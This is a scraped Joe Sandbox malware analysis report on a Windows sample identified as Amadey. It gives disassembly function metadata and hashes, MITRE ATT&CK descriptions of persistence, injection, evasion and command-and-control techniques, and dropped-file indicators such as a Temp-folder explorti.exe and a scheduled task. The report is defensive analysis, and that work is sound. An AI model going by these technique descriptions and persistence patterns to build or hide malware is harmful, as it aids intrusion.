Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$CurrentThread$Cnd_broadcast
String ID:
API String ID: 57040152-0
Opcode ID: 60f3f83412b39d62aa6634b973334f71c9a9df5821fefb7222bf5764c0868a92
Instruction ID: 015a497b7b8a6a93175acebb0f1f78557dfa7508f36f9e991e54c047d1842095
Opcode Fuzzy Hash: 60f3f83412b39d62aa6634b973334f71c9a9df5821fefb7222bf5764c0868a92
Instruction Fuzzy Hash: A3A1E070A01205AFDF11DB74C944BAAB7F8EF19318F149569E915FB282EB34EA04CBD1

Function 00EC70A9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 00EC70EB

Strings

.cmd, xrefs: 00EC7109
.com, xrefs: 00EC712B
.exe, xrefs: 00EC70F8
.bat, xrefs: 00EC711A

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 19a362604a6be5518b95bb1330cbebb414a0a068dd971bfb43785755f95c2205
Instruction ID: 0fcddd3191c2d54d4aee5b44dd7302a053948acdd5a56d86cb1cfa5bb6d7fcd3
Opcode Fuzzy Hash: 19a362604a6be5518b95bb1330cbebb414a0a068dd971bfb43785755f95c2205
Instruction Fuzzy Hash: C901E127A0872925261564199E03F37678C8F92BB8B2A202EFD84F72C2EE56DC0345A0

Function 00EA7840 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 00EA792C
__Cnd_destroy_in_situ.LIBCPMT ref: 00EA7938
__Mtx_destroy_in_situ.LIBCPMT ref: 00EA7941

Strings

L+, xrefs: 00EA78D4, 00EA78E2, 00EA78DA

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: L+
API String ID: 4078500453-1478590641
Opcode ID: 02ff272cea51f65da8784fe0133a3a78f7a5e764bcfdce7f9ec9b0c24baa8381
Instruction ID: ca1a0c9eae0f3ec1f1bbca36bc59aff0ec1f0ea067b9c544abc16b5d1b0ca4ff
Opcode Fuzzy Hash: 02ff272cea51f65da8784fe0133a3a78f7a5e764bcfdce7f9ec9b0c24baa8381
Instruction Fuzzy Hash: 8631F5B19043049BD724DF68DC45A5BB7E8EF49310F10162EE986EB642EB75FA44C3A1

Function 00ECC990 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00ECCA17

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: 0ed73cb3cc0e7134824f237b54d8bc62b7c1c4ca2e1cd7e93329ca12d1551db2
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 1EB114329002459FDB15CF68CA82FAEBBE5EF45304F24956EE849BB341D6368D03CB60

Function 00EABA72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00EABACA
__Xtime_diff_to_millis2.LIBCPMT ref: 00EABAE4
_xtime_get.LIBCPMT ref: 00EABB07
__Xtime_diff_to_millis2.LIBCPMT ref: 00EABB13

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 6eadd37310fba06995abb06da090ad793f3fca2c7e8aad07b0466e054786f9b5
Instruction ID: b19d9b76f1ca14c23472d905accb9081ca10fde6a966192706365dbad7642350
Opcode Fuzzy Hash: 6eadd37310fba06995abb06da090ad793f3fca2c7e8aad07b0466e054786f9b5
Instruction Fuzzy Hash: 3F211B71E00119AFDF00EFA4D8819BEB7B8AF4E714F605059F901BB2A1DB71AD059BA0

Function 00EA7010 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 00EA723C

Strings

0z, xrefs: 00EA7252
py, xrefs: 00EA70F3

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: 0z$py
API String ID: 3366076730-244771282
Opcode ID: 55230cadff279e777ac8a2e2b474b39f8c9b0176a3fac27656f99e958ac88f52
Instruction ID: 1c42c88f61054fa1d007a45f418f822d371a9114d4a2ca2290f7bd59d22652b2
Opcode Fuzzy Hash: 55230cadff279e777ac8a2e2b474b39f8c9b0176a3fac27656f99e958ac88f52
Instruction Fuzzy Hash: 90A146B0A016198FDB21CFA9C88479EBBF0FF59704F188559E849AF351EB35AD01CB90

Function 00ECF1FF Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00ECF243

Strings

`', xrefs: 00ECF215
8", xrefs: 00ECF2EB

Memory Dump Source

Source File: 00000007.00000002.2881028373.0000000000E91000.00000040.00000001.01000000.00000007.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000007.00000002.2881011740.0000000000E90000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881028373.0000000000EF2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881083170.0000000000EF9000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000000EFB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001074000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001156000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001185000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.0000000001190000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881101334.000000000119E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881346985.000000000119F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881451190.000000000133A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881467711.000000000133B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881481711.000000000133C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2881496630.000000000133D000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e90000_explorti.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"$`'
API String ID: 3903695350-1436819768
Opcode ID: e87a1e40bc26cc314408ae8f716d38908c230001186c36afdb1755b05df68790
Instruction ID: 56d9e86f41cd1ccf48f447b2c894d06abb247a2686b7c6a945c5ae385dd9ac3b
Opcode Fuzzy Hash: e87a1e40bc26cc314408ae8f716d38908c230001186c36afdb1755b05df68790
Instruction Fuzzy Hash: 393151716003089FDB356A78DA05F56B7E6AF00318F18643DE459FB1A1DB72EC468711

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report gNo9ad9KO4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Amadey

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe:Zone.Identifier

C:\Windows\Tasks\explorti.job

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Windows Analysis Report
gNo9ad9KO4.exe

Function 00E9BD30 Relevance: 23.1, APIs: 5, Strings: 8, Instructions: 310
networkfileCOMMON

Function 00E96590 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Function 00E97CE0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 392
COMMON

Function 00E95DD0 Relevance: 12.6, APIs: 2, Strings: 5, Instructions: 364
COMMON

Function 00E98290 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 159
COMMON

Function 00EC6DE1 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Function 00EA6AB0 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 40
sleepCOMMON

Function 00EC6C79 Relevance: 1.6, APIs: 1, Instructions: 89
COMMON

Function 00EC6F51 Relevance: 1.6, APIs: 1, Instructions: 56
timeCOMMON

Function 04A10D48 Relevance: .1, Instructions: 91
COMMON